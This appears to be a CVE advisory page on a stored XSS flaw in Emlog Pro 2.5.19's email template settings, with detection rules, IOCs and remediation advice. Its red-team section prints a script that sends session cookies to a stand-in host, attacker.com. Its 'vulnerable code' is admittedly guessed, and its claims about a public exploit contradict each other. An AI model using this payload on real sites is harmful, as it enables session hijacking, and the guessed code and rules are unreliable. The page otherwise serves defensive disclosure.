CVE-2025-60447
Executive Summary
CVE-2025-60447 identifies a stored Cross-Site Scripting (XSS) vulnerability in Emlog Pro version 2.5.19. The flaw resides in the email template configuration component at /admin/setting.php?action=mail. An authenticated administrator can inject arbitrary HTML and JavaScript code into the email template fields. Because the input is not sanitized, the injected payload is stored and executed persistently in the browser of any user who views the affected configuration page. This allows an attacker with admin privileges to execute malicious scripts in the context of other administrators' sessions, potentially leading to session hijacking, credential theft, or further compromise of the Emlog instance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions are required.
- Privileges Required (PR): High – an attacker must have administrative access to the Emlog panel.
- User Interaction (UI): Required – the victim must visit the affected page.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify data.
- Availability (A): None – no direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the requirement for admin privileges reduces the immediate risk. However, if an attacker compromises an admin account, this vulnerability can be used to pivot and escalate privileges within the Emlog environment.
Deep Dive & Mechanics
The vulnerability exists in the email template configuration functionality of Emlog Pro. The component at /admin/setting.php?action=mail allows administrators to customize email templates by entering HTML code. The application fails to sanitize or escape this input before storing it in the database and later rendering it in the admin panel.
Attack Flow:
- An attacker with admin credentials navigates to the email template settings page.
- The attacker injects a malicious JavaScript payload into one of the template fields (e.g., the email subject or body).
- The payload is stored in the database without sanitization.
- When any administrator (including the attacker) visits the email settings page, the stored payload is rendered in the browser.
- The JavaScript executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Root Cause: Lack of output encoding and input validation on the email template fields. The application trusts admin input without applying context-appropriate escaping (e.g., HTML entity encoding).
Vulnerable vs. Patched Code
Vulnerable Code (Emlog Pro 2.5.19): The email template configuration page likely retrieves the stored template from the database and directly echoes it into the HTML without escaping.
// Vulnerable: no escaping
$mail_template = $db->getValue("SELECT template FROM emlog_mail_config WHERE id=1");
echo $mail_template;
Patched Code (Hypothetical Fix):
A secure implementation would use htmlspecialchars() or a similar function to escape HTML entities before output.
// Patched: escape output
$mail_template = $db->getValue("SELECT template FROM emlog_mail_config WHERE id=1");
echo htmlspecialchars($mail_template, ENT_QUOTES, 'UTF-8');
Additionally, input validation should be applied on the server side to reject or sanitize any script tags or event handlers.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Admin credentials for an Emlog Pro 2.5.19 instance.
- Network access to the admin panel.
Exploit Steps:
- Log in to the Emlog admin panel.
- Navigate to
http://target.com/admin/setting.php?action=mail. - In the email subject or body field, inject the following payload:
<script>alert('XSS')</script> - Save the configuration.
- When any admin visits the same page, the script executes.
Advanced Payload (Session Hijacking):
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Note: No public exploit-db code is available for this CVE.
Blue Team (Detection & Hardening)
Detection:
- Monitor admin panel access logs for unusual POST requests to
/admin/setting.php?action=mail. - Look for payloads containing
<script>,onerror,onload, or other event handlers in the request body. - Use web application firewalls (WAF) to block common XSS patterns.
Hardening:
- Apply input validation and output encoding as described in the patched code section.
- Restrict admin panel access to trusted IP addresses.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit admin accounts and revoke unnecessary privileges.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/admin/setting.php?action=mailcontaining<script>tags or event handlers. - Outbound connections from the Emlog server to unknown external domains (e.g., attacker-controlled server).
- POST requests to
File IOCs:
- Modified entries in the
emlog_mail_configtable containing JavaScript payloads.
- Modified entries in the
Log IOCs:
- Repeated admin login attempts from unusual IP addresses.
- Error logs showing unexpected script execution.
Detection Engineering
YARA Rule
rule CVE_2025_60447_XSS_Payload {
meta:
description = "Detects stored XSS payloads targeting Emlog Pro email template"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-60447"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Emlog Pro Email Template
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in POST requests to Emlog admin email settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-stem: /admin/setting.php
cs-uri-query: action=mail
cs-body|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate admin using JavaScript in templates (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60447 Stored XSS in Emlog Pro Email Template"; flow:to_server,established; content:"POST"; http_method; content:"/admin/setting.php"; http_uri; content:"action=mail"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable email template editing if not required, by removing write permissions on the configuration file or database table.
- Apply a WAF rule to block XSS payloads in the email settings endpoint.
- Restrict admin access to trusted IP addresses only.
Long-Term Fix:
- The vendor (Emlog) should release a patch that properly sanitizes and escapes all user input in the email template fields.
- Until a patch is available, consider using a third-party security plugin or modifying the source code manually as shown in the patched code section.
Workaround:
- Implement a Content Security Policy (CSP) header that disallows inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.